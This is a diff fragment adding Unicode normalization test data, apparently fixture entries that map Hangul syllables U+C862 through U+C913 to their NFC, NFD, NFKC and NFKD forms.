+{ source: [0xC862], NFC: [0xC862], NFD: [0x110C, 0x1168, 0x11B5], NFKC: [0xC862], NFKD: [0x110C, 0x1168, 0x11B5] },
+{ source: [0xC863], NFC: [0xC863], NFD: [0x110C, 0x1168, 0x11B6], NFKC: [0xC863], NFKD: [0x110C, 0x1168, 0x11B6] },
+{ source: [0xC864], NFC: [0xC864], NFD: [0x110C, 0x1168, 0x11B7], NFKC: [0xC864], NFKD: [0x110C, 0x1168, 0x11B7] },
+{ source: [0xC865], NFC: [0xC865], NFD: [0x110C, 0x1168, 0x11B8], NFKC: [0xC865], NFKD: [0x110C, 0x1168, 0x11B8] },
+{ source: [0xC866], NFC: [0xC866], NFD: [0x110C, 0x1168, 0x11B9], NFKC: [0xC866], NFKD: [0x110C, 0x1168, 0x11B9] },
+{ source: [0xC867], NFC: [0xC867], NFD: [0x110C, 0x1168, 0x11BA], NFKC: [0xC867], NFKD: [0x110C, 0x1168, 0x11BA] },
+{ source: [0xC868], NFC: [0xC868], NFD: [0x110C, 0x1168, 0x11BB], NFKC: [0xC868], NFKD: [0x110C, 0x1168, 0x11BB] },
+{ source: [0xC869], NFC: [0xC869], NFD: [0x110C, 0x1168, 0x11BC], NFKC: [0xC869], NFKD: [0x110C, 0x1168, 0x11BC] },
+{ source: [0xC86A], NFC: [0xC86A], NFD: [0x110C, 0x1168, 0x11BD], NFKC: [0xC86A], NFKD: [0x110C, 0x1168, 0x11BD] },
+{ source: [0xC86B], NFC: [0xC86B], NFD: [0x110C, 0x1168, 0x11BE], NFKC: [0xC86B], NFKD: [0x110C, 0x1168, 0x11BE] },
+{ source: [0xC86C], NFC: [0xC86C], NFD: [0x110C, 0x1168, 0x11BF], NFKC: [0xC86C], NFKD: [0x110C, 0x1168, 0x11BF] },
+{ source: [0xC86D], NFC: [0xC86D], NFD: [0x110C, 0x1168, 0x11C0], NFKC: [0xC86D], NFKD: [0x110C, 0x1168, 0x11C0] },
+{ source: [0xC86E], NFC: [0xC86E], NFD: [0x110C, 0x1168, 0x11C1], NFKC: [0xC86E], NFKD: [0x110C, 0x1168, 0x11C1] },
+{ source: [0xC86F], NFC: [0xC86F], NFD: [0x110C, 0x1168, 0x11C2], NFKC: [0xC86F], NFKD: [0x110C, 0x1168, 0x11C2] },
+{ source: [0xC870], NFC: [0xC870], NFD: [0x110C, 0x1169], NFKC: [0xC870], NFKD: [0x110C, 0x1169] },
+{ source: [0xC871], NFC: [0xC871], NFD: [0x110C, 0x1169, 0x11A8], NFKC: [0xC871], NFKD: [0x110C, 0x1169, 0x11A8] },
+{ source: [0xC872], NFC: [0xC872], NFD: [0x110C, 0x1169, 0x11A9], NFKC: [0xC872], NFKD: [0x110C, 0x1169, 0x11A9] },
+{ source: [0xC873], NFC: [0xC873], NFD: [0x110C, 0x1169, 0x11AA], NFKC: [0xC873], NFKD: [0x110C, 0x1169, 0x11AA] },
+{ source: [0xC874], NFC: [0xC874], NFD: [0x110C, 0x1169, 0x11AB], NFKC: [0xC874], NFKD: [0x110C, 0x1169, 0x11AB] },
+{ source: [0xC875], NFC: [0xC875], NFD: [0x110C, 0x1169, 0x11AC], NFKC: [0xC875], NFKD: [0x110C, 0x1169, 0x11AC] },
+{ source: [0xC876], NFC: [0xC876], NFD: [0x110C, 0x1169, 0x11AD], NFKC: [0xC876], NFKD: [0x110C, 0x1169, 0x11AD] },
+{ source: [0xC877], NFC: [0xC877], NFD: [0x110C, 0x1169, 0x11AE], NFKC: [0xC877], NFKD: [0x110C, 0x1169, 0x11AE] },
+{ source: [0xC878], NFC: [0xC878], NFD: [0x110C, 0x1169, 0x11AF], NFKC: [0xC878], NFKD: [0x110C, 0x1169, 0x11AF] },
+{ source: [0xC879], NFC: [0xC879], NFD: [0x110C, 0x1169, 0x11B0], NFKC: [0xC879], NFKD: [0x110C, 0x1169, 0x11B0] },
+{ source: [0xC87A], NFC: [0xC87A], NFD: [0x110C, 0x1169, 0x11B1], NFKC: [0xC87A], NFKD: [0x110C, 0x1169, 0x11B1] },
+{ source: [0xC87B], NFC: [0xC87B], NFD: [0x110C, 0x1169, 0x11B2], NFKC: [0xC87B], NFKD: [0x110C, 0x1169, 0x11B2] },
+{ source: [0xC87C], NFC: [0xC87C], NFD: [0x110C, 0x1169, 0x11B3], NFKC: [0xC87C], NFKD: [0x110C, 0x1169, 0x11B3] },
+{ source: [0xC87D], NFC: [0xC87D], NFD: [0x110C, 0x1169, 0x11B4], NFKC: [0xC87D], NFKD: [0x110C, 0x1169, 0x11B4] },
+{ source: [0xC87E], NFC: [0xC87E], NFD: [0x110C, 0x1169, 0x11B5], NFKC: [0xC87E], NFKD: [0x110C, 0x1169, 0x11B5] },
+{ source: [0xC87F], NFC: [0xC87F], NFD: [0x110C, 0x1169, 0x11B6], NFKC: [0xC87F], NFKD: [0x110C, 0x1169, 0x11B6] },
+{ source: [0xC880], NFC: [0xC880], NFD: [0x110C, 0x1169, 0x11B7], NFKC: [0xC880], NFKD: [0x110C, 0x1169, 0x11B7] },
+{ source: [0xC881], NFC: [0xC881], NFD: [0x110C, 0x1169, 0x11B8], NFKC: [0xC881], NFKD: [0x110C, 0x1169, 0x11B8] },
+{ source: [0xC882], NFC: [0xC882], NFD: [0x110C, 0x1169, 0x11B9], NFKC: [0xC882], NFKD: [0x110C, 0x1169, 0x11B9] },
+{ source: [0xC883], NFC: [0xC883], NFD: [0x110C, 0x1169, 0x11BA], NFKC: [0xC883], NFKD: [0x110C, 0x1169, 0x11BA] },
+{ source: [0xC884], NFC: [0xC884], NFD: [0x110C, 0x1169, 0x11BB], NFKC: [0xC884], NFKD: [0x110C, 0x1169, 0x11BB] },
+{ source: [0xC885], NFC: [0xC885], NFD: [0x110C, 0x1169, 0x11BC], NFKC: [0xC885], NFKD: [0x110C, 0x1169, 0x11BC] },
+{ source: [0xC886], NFC: [0xC886], NFD: [0x110C, 0x1169, 0x11BD], NFKC: [0xC886], NFKD: [0x110C, 0x1169, 0x11BD] },
+{ source: [0xC887], NFC: [0xC887], NFD: [0x110C, 0x1169, 0x11BE], NFKC: [0xC887], NFKD: [0x110C, 0x1169, 0x11BE] },
+{ source: [0xC888], NFC: [0xC888], NFD: [0x110C, 0x1169, 0x11BF], NFKC: [0xC888], NFKD: [0x110C, 0x1169, 0x11BF] },
+{ source: [0xC889], NFC: [0xC889], NFD: [0x110C, 0x1169, 0x11C0], NFKC: [0xC889], NFKD: [0x110C, 0x1169, 0x11C0] },
+{ source: [0xC88A], NFC: [0xC88A], NFD: [0x110C, 0x1169, 0x11C1], NFKC: [0xC88A], NFKD: [0x110C, 0x1169, 0x11C1] },
+{ source: [0xC88B], NFC: [0xC88B], NFD: [0x110C, 0x1169, 0x11C2], NFKC: [0xC88B], NFKD: [0x110C, 0x1169, 0x11C2] },
+{ source: [0xC88C], NFC: [0xC88C], NFD: [0x110C, 0x116A], NFKC: [0xC88C], NFKD: [0x110C, 0x116A] },
+{ source: [0xC88D], NFC: [0xC88D], NFD: [0x110C, 0x116A, 0x11A8], NFKC: [0xC88D], NFKD: [0x110C, 0x116A, 0x11A8] },
+{ source: [0xC88E], NFC: [0xC88E], NFD: [0x110C, 0x116A, 0x11A9], NFKC: [0xC88E], NFKD: [0x110C, 0x116A, 0x11A9] },
+{ source: [0xC88F], NFC: [0xC88F], NFD: [0x110C, 0x116A, 0x11AA], NFKC: [0xC88F], NFKD: [0x110C, 0x116A, 0x11AA] },
+{ source: [0xC890], NFC: [0xC890], NFD: [0x110C, 0x116A, 0x11AB], NFKC: [0xC890], NFKD: [0x110C, 0x116A, 0x11AB] },
+{ source: [0xC891], NFC: [0xC891], NFD: [0x110C, 0x116A, 0x11AC], NFKC: [0xC891], NFKD: [0x110C, 0x116A, 0x11AC] },
+{ source: [0xC892], NFC: [0xC892], NFD: [0x110C, 0x116A, 0x11AD], NFKC: [0xC892], NFKD: [0x110C, 0x116A, 0x11AD] },
+{ source: [0xC893], NFC: [0xC893], NFD: [0x110C, 0x116A, 0x11AE], NFKC: [0xC893], NFKD: [0x110C, 0x116A, 0x11AE] },
+{ source: [0xC894], NFC: [0xC894], NFD: [0x110C, 0x116A, 0x11AF], NFKC: [0xC894], NFKD: [0x110C, 0x116A, 0x11AF] },
+{ source: [0xC895], NFC: [0xC895], NFD: [0x110C, 0x116A, 0x11B0], NFKC: [0xC895], NFKD: [0x110C, 0x116A, 0x11B0] },
+{ source: [0xC896], NFC: [0xC896], NFD: [0x110C, 0x116A, 0x11B1], NFKC: [0xC896], NFKD: [0x110C, 0x116A, 0x11B1] },
+{ source: [0xC897], NFC: [0xC897], NFD: [0x110C, 0x116A, 0x11B2], NFKC: [0xC897], NFKD: [0x110C, 0x116A, 0x11B2] },
+{ source: [0xC898], NFC: [0xC898], NFD: [0x110C, 0x116A, 0x11B3], NFKC: [0xC898], NFKD: [0x110C, 0x116A, 0x11B3] },
+{ source: [0xC899], NFC: [0xC899], NFD: [0x110C, 0x116A, 0x11B4], NFKC: [0xC899], NFKD: [0x110C, 0x116A, 0x11B4] },
+{ source: [0xC89A], NFC: [0xC89A], NFD: [0x110C, 0x116A, 0x11B5], NFKC: [0xC89A], NFKD: [0x110C, 0x116A, 0x11B5] },
+{ source: [0xC89B], NFC: [0xC89B], NFD: [0x110C, 0x116A, 0x11B6], NFKC: [0xC89B], NFKD: [0x110C, 0x116A, 0x11B6] },
+{ source: [0xC89C], NFC: [0xC89C], NFD: [0x110C, 0x116A, 0x11B7], NFKC: [0xC89C], NFKD: [0x110C, 0x116A, 0x11B7] },
+{ source: [0xC89D], NFC: [0xC89D], NFD: [0x110C, 0x116A, 0x11B8], NFKC: [0xC89D], NFKD: [0x110C, 0x116A, 0x11B8] },
+{ source: [0xC89E], NFC: [0xC89E], NFD: [0x110C, 0x116A, 0x11B9], NFKC: [0xC89E], NFKD: [0x110C, 0x116A, 0x11B9] },
+{ source: [0xC89F], NFC: [0xC89F], NFD: [0x110C, 0x116A, 0x11BA], NFKC: [0xC89F], NFKD: [0x110C, 0x116A, 0x11BA] },
+{ source: [0xC8A0], NFC: [0xC8A0], NFD: [0x110C, 0x116A, 0x11BB], NFKC: [0xC8A0], NFKD: [0x110C, 0x116A, 0x11BB] },
+{ source: [0xC8A1], NFC: [0xC8A1], NFD: [0x110C, 0x116A, 0x11BC], NFKC: [0xC8A1], NFKD: [0x110C, 0x116A, 0x11BC] },
+{ source: [0xC8A2], NFC: [0xC8A2], NFD: [0x110C, 0x116A, 0x11BD], NFKC: [0xC8A2], NFKD: [0x110C, 0x116A, 0x11BD] },
+{ source: [0xC8A3], NFC: [0xC8A3], NFD: [0x110C, 0x116A, 0x11BE], NFKC: [0xC8A3], NFKD: [0x110C, 0x116A, 0x11BE] },
+{ source: [0xC8A4], NFC: [0xC8A4], NFD: [0x110C, 0x116A, 0x11BF], NFKC: [0xC8A4], NFKD: [0x110C, 0x116A, 0x11BF] },
+{ source: [0xC8A5], NFC: [0xC8A5], NFD: [0x110C, 0x116A, 0x11C0], NFKC: [0xC8A5], NFKD: [0x110C, 0x116A, 0x11C0] },
+{ source: [0xC8A6], NFC: [0xC8A6], NFD: [0x110C, 0x116A, 0x11C1], NFKC: [0xC8A6], NFKD: [0x110C, 0x116A, 0x11C1] },
+{ source: [0xC8A7], NFC: [0xC8A7], NFD: [0x110C, 0x116A, 0x11C2], NFKC: [0xC8A7], NFKD: [0x110C, 0x116A, 0x11C2] },
+{ source: [0xC8A8], NFC: [0xC8A8], NFD: [0x110C, 0x116B], NFKC: [0xC8A8], NFKD: [0x110C, 0x116B] },
+{ source: [0xC8A9], NFC: [0xC8A9], NFD: [0x110C, 0x116B, 0x11A8], NFKC: [0xC8A9], NFKD: [0x110C, 0x116B, 0x11A8] },
+{ source: [0xC8AA], NFC: [0xC8AA], NFD: [0x110C, 0x116B, 0x11A9], NFKC: [0xC8AA], NFKD: [0x110C, 0x116B, 0x11A9] },
+{ source: [0xC8AB], NFC: [0xC8AB], NFD: [0x110C, 0x116B, 0x11AA], NFKC: [0xC8AB], NFKD: [0x110C, 0x116B, 0x11AA] },
+{ source: [0xC8AC], NFC: [0xC8AC], NFD: [0x110C, 0x116B, 0x11AB], NFKC: [0xC8AC], NFKD: [0x110C, 0x116B, 0x11AB] },
+{ source: [0xC8AD], NFC: [0xC8AD], NFD: [0x110C, 0x116B, 0x11AC], NFKC: [0xC8AD], NFKD: [0x110C, 0x116B, 0x11AC] },
+{ source: [0xC8AE], NFC: [0xC8AE], NFD: [0x110C, 0x116B, 0x11AD], NFKC: [0xC8AE], NFKD: [0x110C, 0x116B, 0x11AD] },
+{ source: [0xC8AF], NFC: [0xC8AF], NFD: [0x110C, 0x116B, 0x11AE], NFKC: [0xC8AF], NFKD: [0x110C, 0x116B, 0x11AE] },
+{ source: [0xC8B0], NFC: [0xC8B0], NFD: [0x110C, 0x116B, 0x11AF], NFKC: [0xC8B0], NFKD: [0x110C, 0x116B, 0x11AF] },
+{ source: [0xC8B1], NFC: [0xC8B1], NFD: [0x110C, 0x116B, 0x11B0], NFKC: [0xC8B1], NFKD: [0x110C, 0x116B, 0x11B0] },
+{ source: [0xC8B2], NFC: [0xC8B2], NFD: [0x110C, 0x116B, 0x11B1], NFKC: [0xC8B2], NFKD: [0x110C, 0x116B, 0x11B1] },
+{ source: [0xC8B3], NFC: [0xC8B3], NFD: [0x110C, 0x116B, 0x11B2], NFKC: [0xC8B3], NFKD: [0x110C, 0x116B, 0x11B2] },
+{ source: [0xC8B4], NFC: [0xC8B4], NFD: [0x110C, 0x116B, 0x11B3], NFKC: [0xC8B4], NFKD: [0x110C, 0x116B, 0x11B3] },
+{ source: [0xC8B5], NFC: [0xC8B5], NFD: [0x110C, 0x116B, 0x11B4], NFKC: [0xC8B5], NFKD: [0x110C, 0x116B, 0x11B4] },
+{ source: [0xC8B6], NFC: [0xC8B6], NFD: [0x110C, 0x116B, 0x11B5], NFKC: [0xC8B6], NFKD: [0x110C, 0x116B, 0x11B5] },
+{ source: [0xC8B7], NFC: [0xC8B7], NFD: [0x110C, 0x116B, 0x11B6], NFKC: [0xC8B7], NFKD: [0x110C, 0x116B, 0x11B6] },
+{ source: [0xC8B8], NFC: [0xC8B8], NFD: [0x110C, 0x116B, 0x11B7], NFKC: [0xC8B8], NFKD: [0x110C, 0x116B, 0x11B7] },
+{ source: [0xC8B9], NFC: [0xC8B9], NFD: [0x110C, 0x116B, 0x11B8], NFKC: [0xC8B9], NFKD: [0x110C, 0x116B, 0x11B8] },
+{ source: [0xC8BA], NFC: [0xC8BA], NFD: [0x110C, 0x116B, 0x11B9], NFKC: [0xC8BA], NFKD: [0x110C, 0x116B, 0x11B9] },
+{ source: [0xC8BB], NFC: [0xC8BB], NFD: [0x110C, 0x116B, 0x11BA], NFKC: [0xC8BB], NFKD: [0x110C, 0x116B, 0x11BA] },
+{ source: [0xC8BC], NFC: [0xC8BC], NFD: [0x110C, 0x116B, 0x11BB], NFKC: [0xC8BC], NFKD: [0x110C, 0x116B, 0x11BB] },
+{ source: [0xC8BD], NFC: [0xC8BD], NFD: [0x110C, 0x116B, 0x11BC], NFKC: [0xC8BD], NFKD: [0x110C, 0x116B, 0x11BC] },
+{ source: [0xC8BE], NFC: [0xC8BE], NFD: [0x110C, 0x116B, 0x11BD], NFKC: [0xC8BE], NFKD: [0x110C, 0x116B, 0x11BD] },
+{ source: [0xC8BF], NFC: [0xC8BF], NFD: [0x110C, 0x116B, 0x11BE], NFKC: [0xC8BF], NFKD: [0x110C, 0x116B, 0x11BE] },
+{ source: [0xC8C0], NFC: [0xC8C0], NFD: [0x110C, 0x116B, 0x11BF], NFKC: [0xC8C0], NFKD: [0x110C, 0x116B, 0x11BF] },
+{ source: [0xC8C1], NFC: [0xC8C1], NFD: [0x110C, 0x116B, 0x11C0], NFKC: [0xC8C1], NFKD: [0x110C, 0x116B, 0x11C0] },
+{ source: [0xC8C2], NFC: [0xC8C2], NFD: [0x110C, 0x116B, 0x11C1], NFKC: [0xC8C2], NFKD: [0x110C, 0x116B, 0x11C1] },
+{ source: [0xC8C3], NFC: [0xC8C3], NFD: [0x110C, 0x116B, 0x11C2], NFKC: [0xC8C3], NFKD: [0x110C, 0x116B, 0x11C2] },
+{ source: [0xC8C4], NFC: [0xC8C4], NFD: [0x110C, 0x116C], NFKC: [0xC8C4], NFKD: [0x110C, 0x116C] },
+{ source: [0xC8C5], NFC: [0xC8C5], NFD: [0x110C, 0x116C, 0x11A8], NFKC: [0xC8C5], NFKD: [0x110C, 0x116C, 0x11A8] },
+{ source: [0xC8C6], NFC: [0xC8C6], NFD: [0x110C, 0x116C, 0x11A9], NFKC: [0xC8C6], NFKD: [0x110C, 0x116C, 0x11A9] },
+{ source: [0xC8C7], NFC: [0xC8C7], NFD: [0x110C, 0x116C, 0x11AA], NFKC: [0xC8C7], NFKD: [0x110C, 0x116C, 0x11AA] },
+{ source: [0xC8C8], NFC: [0xC8C8], NFD: [0x110C, 0x116C, 0x11AB], NFKC: [0xC8C8], NFKD: [0x110C, 0x116C, 0x11AB] },
+{ source: [0xC8C9], NFC: [0xC8C9], NFD: [0x110C, 0x116C, 0x11AC], NFKC: [0xC8C9], NFKD: [0x110C, 0x116C, 0x11AC] },
+{ source: [0xC8CA], NFC: [0xC8CA], NFD: [0x110C, 0x116C, 0x11AD], NFKC: [0xC8CA], NFKD: [0x110C, 0x116C, 0x11AD] },
+{ source: [0xC8CB], NFC: [0xC8CB], NFD: [0x110C, 0x116C, 0x11AE], NFKC: [0xC8CB], NFKD: [0x110C, 0x116C, 0x11AE] },
+{ source: [0xC8CC], NFC: [0xC8CC], NFD: [0x110C, 0x116C, 0x11AF], NFKC: [0xC8CC], NFKD: [0x110C, 0x116C, 0x11AF] },
+{ source: [0xC8CD], NFC: [0xC8CD], NFD: [0x110C, 0x116C, 0x11B0], NFKC: [0xC8CD], NFKD: [0x110C, 0x116C, 0x11B0] },
+{ source: [0xC8CE], NFC: [0xC8CE], NFD: [0x110C, 0x116C, 0x11B1], NFKC: [0xC8CE], NFKD: [0x110C, 0x116C, 0x11B1] },
+{ source: [0xC8CF], NFC: [0xC8CF], NFD: [0x110C, 0x116C, 0x11B2], NFKC: [0xC8CF], NFKD: [0x110C, 0x116C, 0x11B2] },
+{ source: [0xC8D0], NFC: [0xC8D0], NFD: [0x110C, 0x116C, 0x11B3], NFKC: [0xC8D0], NFKD: [0x110C, 0x116C, 0x11B3] },
+{ source: [0xC8D1], NFC: [0xC8D1], NFD: [0x110C, 0x116C, 0x11B4], NFKC: [0xC8D1], NFKD: [0x110C, 0x116C, 0x11B4] },
+{ source: [0xC8D2], NFC: [0xC8D2], NFD: [0x110C, 0x116C, 0x11B5], NFKC: [0xC8D2], NFKD: [0x110C, 0x116C, 0x11B5] },
+{ source: [0xC8D3], NFC: [0xC8D3], NFD: [0x110C, 0x116C, 0x11B6], NFKC: [0xC8D3], NFKD: [0x110C, 0x116C, 0x11B6] },
+{ source: [0xC8D4], NFC: [0xC8D4], NFD: [0x110C, 0x116C, 0x11B7], NFKC: [0xC8D4], NFKD: [0x110C, 0x116C, 0x11B7] },
+{ source: [0xC8D5], NFC: [0xC8D5], NFD: [0x110C, 0x116C, 0x11B8], NFKC: [0xC8D5], NFKD: [0x110C, 0x116C, 0x11B8] },
+{ source: [0xC8D6], NFC: [0xC8D6], NFD: [0x110C, 0x116C, 0x11B9], NFKC: [0xC8D6], NFKD: [0x110C, 0x116C, 0x11B9] },
+{ source: [0xC8D7], NFC: [0xC8D7], NFD: [0x110C, 0x116C, 0x11BA], NFKC: [0xC8D7], NFKD: [0x110C, 0x116C, 0x11BA] },
+{ source: [0xC8D8], NFC: [0xC8D8], NFD: [0x110C, 0x116C, 0x11BB], NFKC: [0xC8D8], NFKD: [0x110C, 0x116C, 0x11BB] },
+{ source: [0xC8D9], NFC: [0xC8D9], NFD: [0x110C, 0x116C, 0x11BC], NFKC: [0xC8D9], NFKD: [0x110C, 0x116C, 0x11BC] },
+{ source: [0xC8DA], NFC: [0xC8DA], NFD: [0x110C, 0x116C, 0x11BD], NFKC: [0xC8DA], NFKD: [0x110C, 0x116C, 0x11BD] },
+{ source: [0xC8DB], NFC: [0xC8DB], NFD: [0x110C, 0x116C, 0x11BE], NFKC: [0xC8DB], NFKD: [0x110C, 0x116C, 0x11BE] },
+{ source: [0xC8DC], NFC: [0xC8DC], NFD: [0x110C, 0x116C, 0x11BF], NFKC: [0xC8DC], NFKD: [0x110C, 0x116C, 0x11BF] },
+{ source: [0xC8DD], NFC: [0xC8DD], NFD: [0x110C, 0x116C, 0x11C0], NFKC: [0xC8DD], NFKD: [0x110C, 0x116C, 0x11C0] },
+{ source: [0xC8DE], NFC: [0xC8DE], NFD: [0x110C, 0x116C, 0x11C1], NFKC: [0xC8DE], NFKD: [0x110C, 0x116C, 0x11C1] },
+{ source: [0xC8DF], NFC: [0xC8DF], NFD: [0x110C, 0x116C, 0x11C2], NFKC: [0xC8DF], NFKD: [0x110C, 0x116C, 0x11C2] },
+{ source: [0xC8E0], NFC: [0xC8E0], NFD: [0x110C, 0x116D], NFKC: [0xC8E0], NFKD: [0x110C, 0x116D] },
+{ source: [0xC8E1], NFC: [0xC8E1], NFD: [0x110C, 0x116D, 0x11A8], NFKC: [0xC8E1], NFKD: [0x110C, 0x116D, 0x11A8] },
+{ source: [0xC8E2], NFC: [0xC8E2], NFD: [0x110C, 0x116D, 0x11A9], NFKC: [0xC8E2], NFKD: [0x110C, 0x116D, 0x11A9] },
+{ source: [0xC8E3], NFC: [0xC8E3], NFD: [0x110C, 0x116D, 0x11AA], NFKC: [0xC8E3], NFKD: [0x110C, 0x116D, 0x11AA] },
+{ source: [0xC8E4], NFC: [0xC8E4], NFD: [0x110C, 0x116D, 0x11AB], NFKC: [0xC8E4], NFKD: [0x110C, 0x116D, 0x11AB] },
+{ source: [0xC8E5], NFC: [0xC8E5], NFD: [0x110C, 0x116D, 0x11AC], NFKC: [0xC8E5], NFKD: [0x110C, 0x116D, 0x11AC] },
+{ source: [0xC8E6], NFC: [0xC8E6], NFD: [0x110C, 0x116D, 0x11AD], NFKC: [0xC8E6], NFKD: [0x110C, 0x116D, 0x11AD] },
+{ source: [0xC8E7], NFC: [0xC8E7], NFD: [0x110C, 0x116D, 0x11AE], NFKC: [0xC8E7], NFKD: [0x110C, 0x116D, 0x11AE] },
+{ source: [0xC8E8], NFC: [0xC8E8], NFD: [0x110C, 0x116D, 0x11AF], NFKC: [0xC8E8], NFKD: [0x110C, 0x116D, 0x11AF] },
+{ source: [0xC8E9], NFC: [0xC8E9], NFD: [0x110C, 0x116D, 0x11B0], NFKC: [0xC8E9], NFKD: [0x110C, 0x116D, 0x11B0] },
+{ source: [0xC8EA], NFC: [0xC8EA], NFD: [0x110C, 0x116D, 0x11B1], NFKC: [0xC8EA], NFKD: [0x110C, 0x116D, 0x11B1] },
+{ source: [0xC8EB], NFC: [0xC8EB], NFD: [0x110C, 0x116D, 0x11B2], NFKC: [0xC8EB], NFKD: [0x110C, 0x116D, 0x11B2] },
+{ source: [0xC8EC], NFC: [0xC8EC], NFD: [0x110C, 0x116D, 0x11B3], NFKC: [0xC8EC], NFKD: [0x110C, 0x116D, 0x11B3] },
+{ source: [0xC8ED], NFC: [0xC8ED], NFD: [0x110C, 0x116D, 0x11B4], NFKC: [0xC8ED], NFKD: [0x110C, 0x116D, 0x11B4] },
+{ source: [0xC8EE], NFC: [0xC8EE], NFD: [0x110C, 0x116D, 0x11B5], NFKC: [0xC8EE], NFKD: [0x110C, 0x116D, 0x11B5] },
+{ source: [0xC8EF], NFC: [0xC8EF], NFD: [0x110C, 0x116D, 0x11B6], NFKC: [0xC8EF], NFKD: [0x110C, 0x116D, 0x11B6] },
+{ source: [0xC8F0], NFC: [0xC8F0], NFD: [0x110C, 0x116D, 0x11B7], NFKC: [0xC8F0], NFKD: [0x110C, 0x116D, 0x11B7] },
+{ source: [0xC8F1], NFC: [0xC8F1], NFD: [0x110C, 0x116D, 0x11B8], NFKC: [0xC8F1], NFKD: [0x110C, 0x116D, 0x11B8] },
+{ source: [0xC8F2], NFC: [0xC8F2], NFD: [0x110C, 0x116D, 0x11B9], NFKC: [0xC8F2], NFKD: [0x110C, 0x116D, 0x11B9] },
+{ source: [0xC8F3], NFC: [0xC8F3], NFD: [0x110C, 0x116D, 0x11BA], NFKC: [0xC8F3], NFKD: [0x110C, 0x116D, 0x11BA] },
+{ source: [0xC8F4], NFC: [0xC8F4], NFD: [0x110C, 0x116D, 0x11BB], NFKC: [0xC8F4], NFKD: [0x110C, 0x116D, 0x11BB] },
+{ source: [0xC8F5], NFC: [0xC8F5], NFD: [0x110C, 0x116D, 0x11BC], NFKC: [0xC8F5], NFKD: [0x110C, 0x116D, 0x11BC] },
+{ source: [0xC8F6], NFC: [0xC8F6], NFD: [0x110C, 0x116D, 0x11BD], NFKC: [0xC8F6], NFKD: [0x110C, 0x116D, 0x11BD] },
+{ source: [0xC8F7], NFC: [0xC8F7], NFD: [0x110C, 0x116D, 0x11BE], NFKC: [0xC8F7], NFKD: [0x110C, 0x116D, 0x11BE] },
+{ source: [0xC8F8], NFC: [0xC8F8], NFD: [0x110C, 0x116D, 0x11BF], NFKC: [0xC8F8], NFKD: [0x110C, 0x116D, 0x11BF] },
+{ source: [0xC8F9], NFC: [0xC8F9], NFD: [0x110C, 0x116D, 0x11C0], NFKC: [0xC8F9], NFKD: [0x110C, 0x116D, 0x11C0] },
+{ source: [0xC8FA], NFC: [0xC8FA], NFD: [0x110C, 0x116D, 0x11C1], NFKC: [0xC8FA], NFKD: [0x110C, 0x116D, 0x11C1] },
+{ source: [0xC8FB], NFC: [0xC8FB], NFD: [0x110C, 0x116D, 0x11C2], NFKC: [0xC8FB], NFKD: [0x110C, 0x116D, 0x11C2] },
+{ source: [0xC8FC], NFC: [0xC8FC], NFD: [0x110C, 0x116E], NFKC: [0xC8FC], NFKD: [0x110C, 0x116E] },
+{ source: [0xC8FD], NFC: [0xC8FD], NFD: [0x110C, 0x116E, 0x11A8], NFKC: [0xC8FD], NFKD: [0x110C, 0x116E, 0x11A8] },
+{ source: [0xC8FE], NFC: [0xC8FE], NFD: [0x110C, 0x116E, 0x11A9], NFKC: [0xC8FE], NFKD: [0x110C, 0x116E, 0x11A9] },
+{ source: [0xC8FF], NFC: [0xC8FF], NFD: [0x110C, 0x116E, 0x11AA], NFKC: [0xC8FF], NFKD: [0x110C, 0x116E, 0x11AA] },
+{ source: [0xC900], NFC: [0xC900], NFD: [0x110C, 0x116E, 0x11AB], NFKC: [0xC900], NFKD: [0x110C, 0x116E, 0x11AB] },
+{ source: [0xC901], NFC: [0xC901], NFD: [0x110C, 0x116E, 0x11AC], NFKC: [0xC901], NFKD: [0x110C, 0x116E, 0x11AC] },
+{ source: [0xC902], NFC: [0xC902], NFD: [0x110C, 0x116E, 0x11AD], NFKC: [0xC902], NFKD: [0x110C, 0x116E, 0x11AD] },
+{ source: [0xC903], NFC: [0xC903], NFD: [0x110C, 0x116E, 0x11AE], NFKC: [0xC903], NFKD: [0x110C, 0x116E, 0x11AE] },
+{ source: [0xC904], NFC: [0xC904], NFD: [0x110C, 0x116E, 0x11AF], NFKC: [0xC904], NFKD: [0x110C, 0x116E, 0x11AF] },
+{ source: [0xC905], NFC: [0xC905], NFD: [0x110C, 0x116E, 0x11B0], NFKC: [0xC905], NFKD: [0x110C, 0x116E, 0x11B0] },
+{ source: [0xC906], NFC: [0xC906], NFD: [0x110C, 0x116E, 0x11B1], NFKC: [0xC906], NFKD: [0x110C, 0x116E, 0x11B1] },
+{ source: [0xC907], NFC: [0xC907], NFD: [0x110C, 0x116E, 0x11B2], NFKC: [0xC907], NFKD: [0x110C, 0x116E, 0x11B2] },
+{ source: [0xC908], NFC: [0xC908], NFD: [0x110C, 0x116E, 0x11B3], NFKC: [0xC908], NFKD: [0x110C, 0x116E, 0x11B3] },
+{ source: [0xC909], NFC: [0xC909], NFD: [0x110C, 0x116E, 0x11B4], NFKC: [0xC909], NFKD: [0x110C, 0x116E, 0x11B4] },
+{ source: [0xC90A], NFC: [0xC90A], NFD: [0x110C, 0x116E, 0x11B5], NFKC: [0xC90A], NFKD: [0x110C, 0x116E, 0x11B5] },
+{ source: [0xC90B], NFC: [0xC90B], NFD: [0x110C, 0x116E, 0x11B6], NFKC: [0xC90B], NFKD: [0x110C, 0x116E, 0x11B6] },
+{ source: [0xC90C], NFC: [0xC90C], NFD: [0x110C, 0x116E, 0x11B7], NFKC: [0xC90C], NFKD: [0x110C, 0x116E, 0x11B7] },
+{ source: [0xC90D], NFC: [0xC90D], NFD: [0x110C, 0x116E, 0x11B8], NFKC: [0xC90D], NFKD: [0x110C, 0x116E, 0x11B8] },
+{ source: [0xC90E], NFC: [0xC90E], NFD: [0x110C, 0x116E, 0x11B9], NFKC: [0xC90E], NFKD: [0x110C, 0x116E, 0x11B9] },
+{ source: [0xC90F], NFC: [0xC90F], NFD: [0x110C, 0x116E, 0x11BA], NFKC: [0xC90F], NFKD: [0x110C, 0x116E, 0x11BA] },
+{ source: [0xC910], NFC: [0xC910], NFD: [0x110C, 0x116E, 0x11BB], NFKC: [0xC910], NFKD: [0x110C, 0x116E, 0x11BB] },
+{ source: [0xC911], NFC: [0xC911], NFD: [0x110C, 0x116E, 0x11BC], NFKC: [0xC911], NFKD: [0x110C, 0x116E, 0x11BC] },
+{ source: [0xC912], NFC: [0xC912], NFD: [0x110C, 0x116E, 0x11BD], NFKC: [0xC912], NFKD: [0x110C, 0x116E, 0x11BD] },
+{ source: [0xC913], NFC: [0xC913], NFD: [0x110C, 0x116E, 0x11BE], NFKC: [0xC913], NFKD: [0x110C, 0x116E, 0x11BE] },
